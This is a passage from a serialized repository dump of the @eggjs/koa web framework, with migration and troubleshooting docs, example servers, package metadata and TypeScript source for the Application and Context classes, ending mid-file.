Application object constructor requires new\n\nIn v1.x, the Application constructor function could be called directly, without `new` to\ninstantiate an instance of an application. For example:\n\n```js\nvar koa = require('koa');\nvar app = (module.exports = koa());\n```\n\nv2.x uses es6 classes which require the `new` keyword to be used.\n\n```js\nvar koa = require('koa');\nvar app = (module.exports = new koa());\n```\n\n## ENV specific logging behavior removed\n\nAn explicit check for the `test` environment was removed from error handling.\n\n## Dependency changes\n\n- [co](https://github.com/tj/co) is no longer bundled with Koa. Require or import it directly.\n- [composition](https://github.com/thenables/composition) is no longer used and deprecated.\n\n## v1.x support\n\nThe v1.x branch is still supported but should not receive feature updates. Except for this migration\nguide, documentation will target the latest version.\n\n## Help out\n\nIf you encounter migration related issues not covered by this migration guide, please consider\nsubmitting a documentation pull request.\n"
  },
  {
    "path": "packages/koa/docs/troubleshooting.md",
    "content": "# Troubleshooting Koa\n\n- [Whenever I try to access my route, it sends back a 404](#whenever-i-try-to-access-my-route-it-sends-back-a-404)\n- [My response or context changes have no effect](#my-response-or-context-changes-have-no-effect)\n- [My middleware is not called](#my-middleware-is-not-called)\n\nSee also [debugging Koa](guide.md#debugging-koa).\n\nIf you encounter a problem and later learn how to fix it, and think others might also encounter that problem, please\nconsider contributing to this documentation.\n\n## Whenever I try to access my route, it sends back a 404\n\nThis is a common but troublesome problem when working with Koa middleware. First, it is critical to understand when Koa generates a 404. Koa does not care which or how much middleware was run, in many cases a 200 and 404 trigger the same number of middleware. Instead, the default status for any response is 404. The most obvious way this is changed is through `ctx.status`. However, if `ctx.body` is set when the status has not been explicitly defined (through `ctx.status`), the status is set to 200. This explains why simply setting the body results in a 200. Once the middleware is done (when the middleware and any returned promises are complete), Koa sends out the response. After that, nothing can alter the response. If it was a 404 at the time, it will be a 404 at the end, even if `ctx.status` or `ctx.body` are set afterwords.\n\nEven though we now understand the basis of a 404, it might not be as clear why a 404 is generated in a specific case. This can be especially troublesome when it seems that `ctx.status` or `ctx.body` are set.\n\nThe unexpected 404 is a specific symptom of one of these more general problems:\n\n- [My response or context changes have no effect](#my-response-or-context-changes-have-no-effect)\n- [My middleware is not called](#my-middleware-is-not-called)\n\n## My response or context changes have no effect\n\nThis can be caused when the response is sent before the code making the change is\nexecuted. If the change is to the `ctx.body` or `ctx.status` setter, this can cause a 404 and\nis by far the most common cause of these problems.\n\n### Problematic code\n\n```js\nrouter.get('/fetch', function (ctx, next) {\n  models.Book.findById(parseInt(ctx.query.id)).then(function (book) {\n    ctx.body = book;\n  });\n});\n```\n\nWhen used, this route will always send back a 404, even though `ctx.body` is set.\n\nThe same behavior would occur in this `async` version:\n\n```js\nrouter.get('/fetch', async (ctx, next) => {\n  models.Book.findById(parseInt(ctx.query.id)).then(function (book) {\n    ctx.body = book;\n  });\n});\n```\n\n### Cause\n\n`ctx.body` is not set until _after_ the response has been sent. The code doesn't tell Koa to wait for the database to return the record. Koa sends the response after the middleware has been run, but not after the callback inside the middleware has been run. In the gap there, `ctx.body` has not yet been set, so Koa responds with a 404.\n\n### Identifying this as the issue\n\nAdding another piece of middleware and some logging can be extremely helpful in identifying this issue.\n\n```js\nrouter.use('/fetch', function (ctx, next) {\n  return next().then(function () {\n    console.log('Middleware done');\n  });\n});\n\nrouter.get('/fetch', function (ctx, next) {\n  models.Book.findById(parseInt(ctx.query.id)).then(function (book) {\n    ctx.body = book;\n    console.log('Body set');\n  });\n});\n```\n\nIf you see this in the logs:\n\n```\nMiddleware done\nBody set\n```\n\nIt means that the body is being set after the middleware is done, and after the response has been sent. If you see only one or none of these logs, proceed to [My middleware is not called](#my-middleware-is-not-called). If they are in the right order, make sure you haven't explicitly set the status to 404, make sure that it actually is a 404, and if that fails feel free to ask for help.\n\n### Solution\n\n```js\nrouter.get('/fetch', function (ctx, next) {\n  return models.Book.findById(parseInt(ctx.query.id)).then(function (book) {\n    ctx.body = book;\n  });\n});\n```\n\nReturning the promise given by the database interface tells Koa to wait for the promise to finish before responding. At that time, the body will have been set. This results in Koa sending back a 200 with a proper response.\n\nThe fix in the `async` version is to add an `await` statement:\n\n```js\nrouter.get('/fetch', async (ctx, next) => {\n  await models.Book.findById(parseInt(ctx.query.id)).then(function (book) {\n    ctx.body = book;\n  });\n});\n```\n\n## My middleware is not called\n\nThis can be due to an interrupted chain of middleware calls. This can cause a 404 if the\nmiddleware that is skipped is responsible for the `ctx.body` or `ctx.status` setter.\nThis is less common than [My response or context changes have no effect](#my-response-or-context-changes-have-no-effect),\nbut it can be a much bigger pain to troubleshoot.\n\n### Problematic code\n\n```js\nrouter.use(function (ctx, next) {\n  // Don't Repeat Yourself! Let's parse the ID here for all our middleware\n  if (ctx.query.id) {\n    ctx.state.id = parseInt(ctx.query.id);\n  }\n});\n\nrouter.get('/fetch', function (ctx, next) {\n  return models.Book.findById(ctx.state.id).then(function (book) {\n    ctx.body = book;\n  });\n});\n```\n\n### Cause\n\nIn the code above, the book is never fetched from the database, and in fact our route was never called. Look closely at our helper middleware. We forgot to `return next()`! This causes the middleware flow to never reach our route, ending our \"helper\" middleware.\n\n### Identifying this as the issue\n\nIdentifying this problem is easier than most, add a log at the beginning of the route. If it doesn't trigger, your route was never reached in the middleware chain.\n\n```js\nrouter.use(function (ctx, next) {\n  // Don't Repeat Yourself! Let's parse the ID here for all our middleware\n  if (ctx.query.id) {\n    ctx.state.id = parseInt(ctx.query.id);\n  }\n});\n\nrouter.get('/fetch', function (ctx, next) {\n  console.log('Route called'); // Never happens\n  return models.Book.findById(ctx.state.id).then(function (book) {\n    ctx.body = book;\n  });\n});\n```\n\nTo find the middleware causing the problem, try adding logging at various points in the middleware chain.\n\n### Solution\n\nThe solution for this is rather easy, simply add `return next()` to the end of your helper middleware.\n\n```js\nrouter.use(function (ctx, next) {\n  if (ctx.query.id) {\n    ctx.state.id = parseInt(ctx.query.id);\n  }\n  return next();\n});\n\nrouter.get('/fetch', function (ctx, next) {\n  return models.Book.findById(ctx.state.id).then(function (book) {\n    ctx.body = book;\n  });\n});\n```\n"
  },
  {
    "path": "packages/koa/example/cjs/helloworld.js",
    "content": "const { Application } = require('@eggjs/koa');\n\nconst app = new Application();\n\n// response\napp.use((ctx) => {\n  ctx.body = `Hello World, CJS!`;\n});\n\napp.listen(3000);\n\nconsole.log('Server is running on port 3000');\n"
  },
  {
    "path": "packages/koa/example/cjs/package.json",
    "content": "{\n  \"name\": \"@eggjs/koa-example-cjs\",\n  \"version\": \"1.0.0\",\n  \"type\": \"commonjs\",\n  \"scripts\": {\n    \"start\": \"node helloworld.js\"\n  },\n  \"dependencies\": {\n    \"@eggjs/koa\": \"alpha\"\n  }\n}\n"
  },
  {
    "path": "packages/koa/example/esm/helloworld.js",
    "content": "import { Application } from '@eggjs/koa';\n\nconst app = new Application();\n\n// response\napp.use((ctx) => {\n  ctx.body = `Hello World, ESM!`;\n});\n\napp.listen(3000);\n\nconsole.log('Server is running on port 3000');\n"
  },
  {
    "path": "packages/koa/example/esm/package.json",
    "content": "{\n  \"name\": \"@eggjs/koa-example-esm\",\n  \"version\": \"1.0.0\",\n  \"type\": \"module\",\n  \"scripts\": {\n    \"start\": \"node helloworld.js\"\n  },\n  \"dependencies\": {\n    \"@eggjs/koa\": \"workspace:*\"\n  }\n}\n"
  },
  {
    "path": "packages/koa/example/extend/Context.ts",
    "content": "import { Context } from '../../src/index.ts';\n\nexport class CustomContext extends Context {\n  get state() {\n    return { foo: 'bar' };\n  }\n}\n"
  },
  {
    "path": "packages/koa/example/extend/Request.ts",
    "content": "import { Request } from '../../src/index.ts';\n\nconst HOST = Symbol('request host');\n\nexport class CustomRequest extends Request {\n  get host(): string {\n    let host = this[HOST] as string;\n    if (host) {\n      return host;\n    }\n\n    if (this.app.proxy) {\n      host = '127.0.0.1';\n    }\n    const rawHost = host || this.get('host');\n    if (!rawHost) {\n      this[HOST] = '';\n      return '';\n    }\n    this[HOST] = rawHost.split(/,/)[0].trim();\n    return host;\n  }\n}\n"
  },
  {
    "path": "packages/koa/example/extend/middleware.ts",
    "content": "import { Context, type MiddlewareFunc } from '../../src/index.ts';\n\nclass CustomContext extends Context {\n  // Add your custom properties and methods here\n  get hello() {\n    return 'world';\n  }\n}\n\nexport const middleware: MiddlewareFunc<CustomContext> = async (ctx, next) => {\n  console.log('middleware start, %s', ctx.hello, ctx.writable);\n  await next();\n  console.log('middleware end');\n};\n"
  },
  {
    "path": "packages/koa/example/helloworld.ts",
    "content": "import Koa from '../src/index.ts';\n\nconst app = new Koa();\n\napp.use(async (ctx) => {\n  ctx.body = 'Hello World, TypeScript!';\n});\n\napp.listen(3000);\n\nconsole.log('Server is running on port 3000');\n"
  },
  {
    "path": "packages/koa/package.json",
    "content": "{\n  \"name\": \"@eggjs/koa\",\n  \"version\": \"3.1.2-beta.5\",\n  \"description\": \"Koa web app framework for https://eggjs.org\",\n  \"keywords\": [\n    \"app\",\n    \"application\",\n    \"framework\",\n    \"http\",\n    \"middleware\",\n    \"rack\",\n    \"web\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/koa\",\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/koa\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/cookies\": \"workspace:*\",\n    \"@types/content-disposition\": \"catalog:\",\n    \"accepts\": \"catalog:\",\n    \"cache-content-type\": \"catalog:\",\n    \"content-disposition\": \"catalog:\",\n    \"content-type\": \"catalog:\",\n    \"destroy\": \"catalog:\",\n    \"encodeurl\": \"catalog:\",\n    \"escape-html\": \"catalog:\",\n    \"fresh\": \"catalog:\",\n    \"gals\": \"catalog:\",\n    \"http-errors\": \"catalog:\",\n    \"is-type-of\": \"catalog:\",\n    \"koa-compose\": \"catalog:\",\n    \"on-finished\": \"catalog:\",\n    \"parseurl\": \"catalog:\",\n    \"statuses\": \"catalog:\",\n    \"type-is\": \"catalog:\",\n    \"vary\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@types/accepts\": \"catalog:\",\n    \"@types/content-type\": \"catalog:\",\n    \"@types/destroy\": \"catalog:\",\n    \"@types/encodeurl\": \"catalog:\",\n    \"@types/escape-html\": \"catalog:\",\n    \"@types/fresh\": \"catalog:\",\n    \"@types/http-errors\": \"catalog:\",\n    \"@types/koa-compose\": \"catalog:\",\n    \"@types/on-finished\": \"catalog:\",\n    \"@types/parseurl\": \"catalog:\",\n    \"@types/statuses\": \"catalog:\",\n    \"@types/type-is\": \"catalog:\",\n    \"@types/vary\": \"catalog:\",\n    \"mm\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/koa/src/application.ts",
    "content": "import type { AsyncLocalStorage } from 'node:async_hooks';\nimport Emitter from 'node:events';\nimport http, { type IncomingMessage, type ServerResponse } from 'node:http';\nimport Stream from 'node:stream';\nimport util, { debuglog } from 'node:util';\n\nimport { getAsyncLocalStorage } from 'gals';\nimport { HttpError } from 'http-errors';\nimport { isGeneratorFunction } from 'is-type-of';\nimport compose from 'koa-compose';\nimport onFinished from 'on-finished';\nimport statuses from 'statuses';\n\nimport { Context } from './context.ts';\nimport { Request } from './request.ts';\nimport { Response } from './response.ts';\nimport type { CustomError, AnyProto } from './types.ts';\n\n// Re-export for external use\nexport { Context, Request, Response };\n\nconst debug = debuglog('egg/koa/application');\n\n// oxlint-disable-next-line typescript/no-explicit-any\nexport type ProtoImplClass<T = object> = new (...args: any[]) => T;\nexport type Next = () => Promise<void>;\ntype _MiddlewareFunc<T> = (ctx: T, next: Next) => Promise<void> | void;\nexport type MiddlewareFunc<T extends Context = Context> = _MiddlewareFunc<T> & {\n  _name?: string;\n};\n\n/**\n * Expose `Application` class.\n * Inherits from `Emitter.prototype`.\n */\nexport class Application extends Emitter {\n  [key: symbol]: unknown;\n  /**\n   * Make HttpError available to consumers of the library so that consumers don't\n   * have a direct dependency upon `http-errors`\n   */\n  static HttpError: typeof HttpError = HttpError;\n\n  protected _proxy: boolean;\n  protected _env: string;\n  subdomainOffset: number;\n  proxyIpHeader: string;\n  maxIpsCount: number;\n  protected _keys?: string[];\n  middleware: MiddlewareFunc<Context>[];\n  ctxStorage: AsyncLocalStorage<Context>;\n  silent: boolean;\n  ContextClass: ProtoImplClass<Context>;\n  context: AnyProto;\n  RequestClass: ProtoImplClass<Request>;\n  request: AnyProto;\n  ResponseClass: ProtoImplClass<Response>;\n  response: AnyProto;\n\n  /**\n   * Initialize a new `Application`.\n   *\n   * @param {object} [options] Application options\n   * @param {string} [options.env] Environment, default is `development`\n   * @param {string[]} [options.keys] Signed cookie keys\n   * @param {boolean} [options.proxy] Trust proxy headers\n   * @param {number} [options.subdomainOffset] Subdomain offset\n   * @param {string} [options.proxyIpHeader] Proxy IP header, defaults to X-Forwarded-For\n   * @param {number} [options.maxIpsCount] Max IPs read from proxy IP header, default to 0 (means infinity)\n   */\n\n  constructor(options?: {\n    proxy?: boolean;\n    subdomainOffset?: number;\n    proxyIpHeader?: string;\n    maxIpsCount?: number;\n    env?: string;\n    keys?: string[];\n  }) {\n    super();\n    options = options || {};\n    this._proxy = options.proxy || false;\n    this.subdomainOffset = options.subdomainOffset || 2;\n    this.proxyIpHeader = options.proxyIpHeader || 'X-Forwarded-For';\n    this.maxIpsCount = options.maxIpsCount || 0;\n    this._env = options.env || process.env.NODE_ENV || 'development';\n    if (options.keys) {\n      this._keys = options.keys;\n    }\n    this.middleware = [];\n    this.ctxStorage = getAsyncLocalStorage();\n    this.silent = false;\n    this.ContextClass = class ApplicationContext extends Context {} as ProtoImplClass<Context>;\n    this.context = this.ContextClass.prototype;\n    this.RequestClass = class ApplicationRequest extends Request {} as ProtoImplClass<Request>;\n    this.request = this.RequestClass.prototype;\n    this.ResponseClass = class ApplicationResponse extends Response {} as ProtoImplClass<Response>;\n    this.response = this.ResponseClass.prototype;\n    // Set up custom inspect\n    this[util.inspect.custom] = this.inspect.bind(this);\n  }\n\n  get keys() {\n    return this._keys;\n  }\n\n  set keys(value: string[] | undefined) {\n    this._keys = value;\n  }\n\n  get env() {\n    return this._env;\n  }\n  set env(value: string) {\n    this._env = value;\n  }\n\n  get proxy() {\n    return this._proxy;\n  }\n  set proxy(value: boolean) {\n    this._proxy = value;\n  }\n\n  /**\n   * Shorthand for:\n   *\n   *    http.createServer(app.callback()).listen(...)\n   */\n  // oxlint-disable-next-line typescript/no-explicit-any\n  listen(...args: any[]): http.Server {\n    debug('listen with args: %o', args);\n    const server = http.createServer(this.callback());\n    return server.listen(...args);\n  }\n\n  /**\n   * Return JSON representation.\n   * We only bother showing settings.\n   */\n  toJSON(): object {\n    return {\n      subdomainOffset: this.subdomainOffset,\n      proxy: this.proxy,\n      env: this.env,\n    };\n  }\n\n  /**\n   * Inspect implementation.\n   */\n  inspect(): object {\n    return this.toJSON();\n  }\n\n  /**\n   * Use the given middleware `fn`.\n   */\n  use<T extends Context = Context>(fn: MiddlewareFunc<T>): this {\n    if (typeof fn !== 'function') throw new TypeError('middleware must be a function!');\n    const name = fn._name || fn.name || '-';\n    if (isGeneratorFunction(fn)) {\n      throw new TypeError(\n        `Support for generators was removed, middleware: ${name}. ` +\n          'See the documentation for examples of how to convert old middleware ' +\n          'https://github.com/koajs/koa/blob/master/docs/migration.md',\n      );\n    }\n    debug('use %o #%d', name, this.middleware.length);\n    this.middleware.push(fn as MiddlewareFunc<Context>);\n    return this;\n  }\n\n  /**\n   * Return a request handler callback\n   * for node's native http server.\n   */\n  callback(): (req: IncomingMessage, res: ServerResponse) => Promise<void> {\n    const fn = compose(this.middleware);\n\n    if (!this.listenerCount('error')) {\n      this.on('error', this.onerror.bind(this));\n    }\n\n    const handleRequest = (req: IncomingMessage, res: ServerResponse) => {\n      const ctx = this.createContext(req, res);\n      return this.ctxStorage.run(ctx, async () => {\n        return await this.handleRequest(ctx, fn);\n      });\n    };\n\n    return handleRequest;\n  }\n\n  /**\n   * return current context from async local storage\n   */\n  get currentContext(): Context | undefined {\n    return this.ctxStorage.getStore();\n  }\n\n  /**\n   * Handle request in callback.\n   * @private\n   */\n  protected async handleRequest(ctx: Context, fnMiddleware: (ctx: Context) => Promise<void>): Promise<void> {\n    this.emit('request', ctx);\n    const res = ctx.res;\n    res.statusCode = 404;\n    const onerror = (err: CustomError) => ctx.onerror(err);\n    // oxlint-disable-next-line promise/prefer-await-to-callbacks\n    onFinished(res, (err: CustomError | null) => {\n      if (err) {\n        onerror(err);\n      }\n      this.emit('response', ctx);\n    });\n    try {\n      await fnMiddleware(ctx);\n      return this._respond(ctx);\n    } catch (err) {\n      return onerror(err as CustomError);\n    }\n  }\n\n  /**\n   * Initialize a new context.\n   * @private\n   */\n  createContext(req: IncomingMessage, res: ServerResponse): Context {\n    const context = new this.ContextClass(this, req, res);\n    return context;\n  }\n\n  /**\n   * Default error handler.\n   * @private\n   */\n  protected onerror(err: CustomError): void {\n    // When dealing with cross-globals a normal `instanceof` check doesn't work properly.\n    // See https://github.com/koajs/koa/issues/1466\n    // We can probably remove it once jest fixes https://github.com/facebook/jest/issues/2549.\n    const isNativeError = err instanceof Error || Object.prototype.toString.call(err) === '[object Error]';\n    if (!isNativeError) throw new TypeError(util.format('non-error thrown: %j', err));\n\n    if (err.status === 404 || err.expose) return;\n    if (this.silent) return;\n\n    const msg = err.stack || err.toString();\n    // oxlint-disable-next-line no-console\n    console.error(`\\n${msg.replaceAll(/^/gm, '  ')}\\n`);\n  }\n\n  /**\n   * Response helper.\n   */\n  protected _respond(ctx: Context): void {\n    // allow bypassing koa\n    if (ctx.respond === false) return;\n\n    if (!ctx.writable) return;\n\n    const res = ctx.res;\n    let body = ctx.body;\n    const code = ctx.status;\n\n    // ignore body\n    if (statuses.empty[code]) {\n      // strip headers\n      ctx.body = null;\n      res.end();\n      return;\n    }\n\n    if (ctx.method === 'HEAD') {\n      if (!res.headersSent && !ctx.response.has('Content-Length')) {\n        const { length } = ctx.response;\n        if (Number.isInteger(length)) ctx.length = length;\n      }\n      res.end();\n      return;\n    }\n\n    // status body\n    if (body === null || body === undefined) {\n      if (ctx.response._explicitNullBody) {\n        ctx.response.remove('Content-Type');\n        ctx.response.remove('Transfer-Encoding');\n        res.end();\n        return;\n      }\n      if (ctx.req.httpVersionMajor >= 2) {\n        body = String(code);\n      } else {\n        body = ctx.message || String(code);\n      }\n      if (!res.headersSent) {\n        ctx.type = 'text';\n        ctx.length = Buffer.byteLength(body);\n      }\n      res.end(body);\n      return;\n    }\n\n    // responses\n    if (Buffer.isBuffer(body)) {\n      res.end(body);\n      return;\n    }\n    if (typeof body === 'string') {\n      res.end(body);\n      return;\n    }\n    if (body instanceof Stream) {\n      body.pipe(res);\n      return;\n    }\n\n    // body: json\n    body = JSON.stringify(body);\n    if (!res.headersSent) {\n      ctx.length = Buffer.byteLength(body);\n    }\n    res.end(body);\n  }\n}\n"
  },
  {
    "path": "packages/koa/src/context.ts",
    "content": "import type { IncomingMessage, ServerResponse } from 'node:http';\nimport type { ParsedUrlQuery } from 'node:querystring';\nimport util from 'node:util';\n\nimport { Cookies } from '@eggjs/cookies';\nimport type { Accepts } from 'accepts';\nimport createError from 'http-errors';\nimport statuses from 'statuses';\n\nimport type { Application } from './application.ts';\nimport type { Request, RequestSocket } from './request.ts';\nimport type { Response } from './response.ts';\nimport type { CustomError, AnyProto } from './types.ts';\n\nexport class Context {\n  [key: symbol | string]: unknown;\n  app: Application;\n  req: IncomingMessage;\n  res: ServerResponse;\n  request: Request & AnyProto;\n  response: Response & AnyProto;\n  originalUrl: string;\n  respond?: boolean;\n  // oxlint-disable-next-line typescript/no-explicit-any\n  #state: Record<string, any> = {};\n\n  constructor(app: Application, req: IncomingMessage, res: ServerResponse) {\n    this.app = app;\n    this.req = req;\n    this.res = res;\n    this.request = new app.RequestClass(app, this, req, res);\n    this.response = new app.ResponseClass(app, this, req, res);\n    this.request.response = this.response;\n    this.response.request = this.request;\n    this.originalUrl = req.url ?? '/';\n    // Set up custom inspect\n    this[util.inspect.custom] = this.inspect.bind(this);\n  }\n\n  /**\n   * util.inspect() implementation, which\n   * just returns the JSON output.\n   */\n  inspect(): object {\n    return this.toJSON();\n  }\n\n  /**\n   * Return JSON representation.\n   *\n   * Here we explicitly invoke .toJSON() on each\n   * object, as iteration will otherwise fail due\n   * to the getters and cause utilities such as\n   * clone() to fail.\n   */\n\n  toJSON(): object {\n    return {\n      request: this.request.toJSON(),\n      response: this.response.toJSON(),\n      app: this.app.toJSON(),\n      originalUrl: this.originalUrl,\n      req: '<original node req>',\n      res: '<original node res>',\n      socket: '<original node socket>',\n    };\n  }\n\n  /**\n   * Similar to .throw(), adds assertion.\n   *\n   * ```ts\n   * this.assert(this.user, 401, 'Please login!');\n   * ```\n   */\n  assert(value: unknown, status?: number, errorProps?: Record<string, unknown>): void;\n  assert(value: unknown, status?: number, errorMessage?: string, errorProps?: Record<string, unknown>): void;\n  assert(\n    value: unknown,\n    status?: number,\n    errorMessageOrProps?: string | Record<string, unknown>,\n    errorProps?: Record<string, unknown>,\n  ) {\n    if (value) {\n      return;\n    }\n    status = status ?? 500;\n    if (typeof errorMessageOrProps === 'string') {\n      // assert(value, status, errorMessage, errorProps?)\n      throw createError(status, errorMessageOrProps, errorProps ?? {});\n    }\n    // assert(value, status, errorProps?)\n    throw createError(status, errorMessageOrProps ?? {});\n  }\n\n  /**\n   * Throw an error with `status` (default 500) and\n   * `msg`. Note that these are user-level\n   * errors, and the message may be exposed to the client.\n   *\n   *    this.throw(403)\n   *    this.throw(400, 'name required')\n   *    this.throw('something exploded')\n   *    this.throw(new Error('invalid'))\n   *    this.throw(400, new Error('invalid'))\n   *    this.throw(400, new Error('invalid'), { foo: 'bar' })\n   *    this.throw(new Error('invalid'), { foo: 'bar' })\n   *\n   * See: https://github.com/jshttp/http-errors\n   *\n   * Note: `status` should only be passed as the first parameter.\n   *\n   * @param {String|Number|Error} status error, msg or status\n   * @param {String|Number|Error|Object} [error] error, msg, status or errorProps\n   * @param {Object} [errorProps] error object properties\n   */\n\n  throw(status: number): void;\n  throw(status: number, errorProps: object): void;\n  throw(status: number, errorMessage: string): void;\n  throw(status: number, errorMessage: string, errorProps: object): void;\n  throw(status: number, error: Error): void;\n  throw(status: number, error: Error, errorProps: object): void;\n  throw(errorMessage: string): void;\n  throw(errorMessage: string, errorProps: object): void;\n  throw(errorMessage: string, status: number): void;\n  throw(errorMessage: string, status: number, errorProps: object): void;\n  throw(error: Error): void;\n  throw(error: Error, errorProps: object): void;\n  throw(error: Error, status: number): void;\n  throw(error: Error, status: number, errorProps: object): void;\n  throw(arg1: number | string | Error, arg2?: number | string | Error | object, errorProps?: object) {\n    // oxlint-disable-next-line typescript/no-explicit-any\n    const args: any[] = [];\n    if (typeof arg2 === 'number') {\n      // throw(error, status)\n      args.push(arg2);\n      args.push(arg1);\n    } else {\n      // throw(status, error?)\n      args.push(arg1);\n      if (arg2) {\n        args.push(arg2);\n      }\n    }\n    if (errorProps) {\n      args.push(errorProps);\n    }\n    throw createError(...args);\n  }\n\n  /**\n   * Default error handling.\n   * @private\n   */\n  onerror(err: CustomError): void {\n    // don't do anything if there is no error.\n    // this allows you to pass `this.onerror`\n    // to node-style callbacks.\n    if (err === null || err === undefined) return;\n\n    // When dealing with cross-globals a normal `instanceof` check doesn't work properly.\n    // See https://github.com/koajs/koa/issues/1466\n    // We can probably remove it once jest fixes https://github.com/facebook/jest/issues/2549.\n    const isNativeError = err instanceof Error || Object.prototype.toString.call(err) === '[object Error]';\n    if (!isNativeError) {\n      err = new Error(util.format('non-error thrown: %j', err));\n    }\n\n    let headerSent = false;\n    if (this.response.headerSent || !this.response.writable) {\n      headerSent = true;\n      err.headerSent = true;\n    }\n\n    // delegate\n    this.app.emit('error', err, this);\n\n    // nothing we can do here other\n    // than delegate to the app-level\n    // handler and log.\n    if (headerSent) {\n      return;\n    }\n\n    const res = this.res;\n\n    // first unset all headers\n    for (const name of res.getHeaderNames()) {\n      res.removeHeader(name);\n    }\n\n    // then set those specified\n    if (err.headers) {\n      this.response.set(err.headers);\n    }\n\n    // force text/plain\n    this.response.type = 'text';\n\n    let statusCode = err.status || err.statusCode;\n\n    // ENOENT support\n    if (err.code === 'ENOENT') {\n      statusCode = 404;\n    }\n\n    // default to 500\n    if (typeof statusCode !== 'number' || !statuses.message[statusCode]) {\n      statusCode = 500;\n    }\n\n    // respond\n    const statusMessage = statuses.message[statusCode] as string;\n    const msg = err.expose ? err.message : statusMessage;\n    err.status = statusCode;\n    this.response.status = statusCode;\n    this.response.length = Buffer.byteLength(msg);\n    res.end(msg);\n  }\n\n  protected _cookies: Cookies | undefined;\n\n  get cookies() {\n    if (!this._cookies) {\n      // FIXME: keys is required for encrypt/sign cookies\n      this._cookies = new Cookies(this, this.app.keys ?? [], {\n        secure: this.request.secure,\n      });\n    }\n    return this._cookies;\n  }\n\n  set cookies(cookies: Cookies) {\n    this._cookies = cookies;\n  }\n\n  // oxlint-disable-next-line typescript/no-explicit-any\n  get state(): Record<string, any> {\n    return this.#state;\n  }\n\n  /**\n   * Request delegation.\n   */\n\n  acceptsLanguages(): string[];\n  acceptsLanguages(languages: string[]): string | false;\n  acceptsLanguages(...languages: string[]): string | false;\n  acceptsLanguages(languages?: string | string[], ...others: string[]): string | string[] | false {\n    return this.request.acceptsLanguages(languages as string, ...others);\n  }\n\n  acceptsEncodings(): string[];\n  acceptsEncodings(encodings: string[]): string | false;\n  acceptsEncodings(...encodings: string[]): string | false;\n  acceptsEncodings(encodings?: string | string[], ...others: string[]): string[] | string | false {\n    return this.request.acceptsEncodings(encodings as string, ...others);\n  }\n\n  acceptsCharsets(): string[];\n  acceptsCharsets(charsets: string[]): string | false;\n  acceptsCharsets(...charsets: string[]): string | false;\n  acceptsCharsets(charsets?: string | string[], ...others: string[]): string[] | string | false {\n    return this.request.acceptsCharsets(charsets as string, ...others);\n  }\n\n  accepts(args: string[]): string | string[] | false;\n  accepts(...args: string[]): string | string[] | false;\n  accepts(args?: string | string[], ...others: string[]): string | string[] | false {\n    return this.request.accepts(args as string, ...others);\n  }\n\n  get<T = string | string[]>(field: string): T {\n    return this.request.get(field);\n  }\n\n  is(type?: string | string[], ...types: string[]): string | false | null {\n    return this.request.is(type, ...types);\n  }\n\n  get querystring(): string {\n    return this.request.querystring;\n  }\n\n  set querystring(str: string) {\n    this.request.querystring = str;\n  }\n\n  get idempotent(): boolean {\n    return this.request.idempotent;\n  }\n\n  get socket(): RequestSocket {\n    return this.request.socket;\n  }\n\n  get search(): string {\n    return this.request.search;\n  }\n\n  set search(str: string) {\n    this.request.search = str;\n  }\n\n  get method(): string {\n    return this.request.method;\n  }\n\n  set method(method: string) {\n    this.request.method = method;\n  }\n\n  get query(): ParsedUrlQuery {\n    return this.request.query;\n  }\n\n  set query(obj: ParsedUrlQuery) {\n    this.request.query = obj;\n  }\n\n  get path(): string {\n    return this.request.path;\n  }\n\n  set path(path: string) {\n    this.request.path = path;\n  }\n\n  get url(): string {\n    return this.request.url;\n  }\n\n  set url(url: string) {\n    this.request.url = url;\n  }\n\n  get accept(): Accepts {\n    return this.request.accept;\n  }\n\n  set accept(accept: Accepts) {\n    this.request.accept = accept;\n  }\n\n  get origin(): string {\n    return this.request.origin;\n  }\n\n  get href(): string {\n    return this.request.href;\n  }\n\n  get subdomains(): string[] {\n    return this.request.subdomains;\n  }\n\n  get protocol(): string {\n    return this.request.protocol;\n  }\n\n  get host(): string {\n    return this.request.host;\n  }\n\n  get hostname(): string {\n    return this.request.hostname;\n  }\n\n  get URL(): URL {\n    return this.request.URL;\n  }\n\n  get header(): IncomingMessage['headers'] {\n    return this.request.header;\n  }\n\n  get headers(): IncomingMessage['headers'] {\n    return this.request.headers;\n  }\n\n  get secure(): boolean {\n    return this.request.secure;\n  }\n\n  get stale(): boolean {\n    return this.request.stale;\n  }\n\n  get fresh(): boolean {\n    return this.request.fresh;\n  }\n\n  get ips(): string[] {\n    return this.request.ips;\n  }\n\n  get ip(): string {\n    return this.request.ip;\n  }\n\n  /**\n   * Response delegation.\n   */\n\n  attachment(...args: Parameters<Response['attachment']>): void {\n    return this.response.attachment(...args);\n  }\n\n  redirect(...args: Parameters<Response['redirect']>): void {\n    return this.response.redirect(...args);\n  }\n\n  remove(...args: Parameters<Response['remove']>): void {\n    return this.response.remove(...args);\n  }\n\n  vary(...args: Parameters<Response['vary']>): void {\n    return this.response.vary(...args);\n  }\n\n  has(...args: Parameters<Response['has']>): boolean {\n    return this.response.has(...args);\n  }\n\n  set(...args: Parameters<Response['set']>): void {\n    return this.response.set(...args);\n  }\n\n  append(...args: Parameters<Response['append']>): void {\n    return this.response.append(...args);\n  }\n\n  flushHeaders(...args: Parameters<Response['flushHeaders']>): void {\n    return this.response.flushHeaders(...args);\n  }\n\n  get status() {\n    return this.response.status;\n  }\n\n  set status(status: number) {\n    this.response.status = status;\n  }\n\n  get message() {\n    return this.response.message;\n  }\n\n  set message(msg: string) {\n    this.response.message = msg;\n  }\n\n  // oxlint-disable-next-line 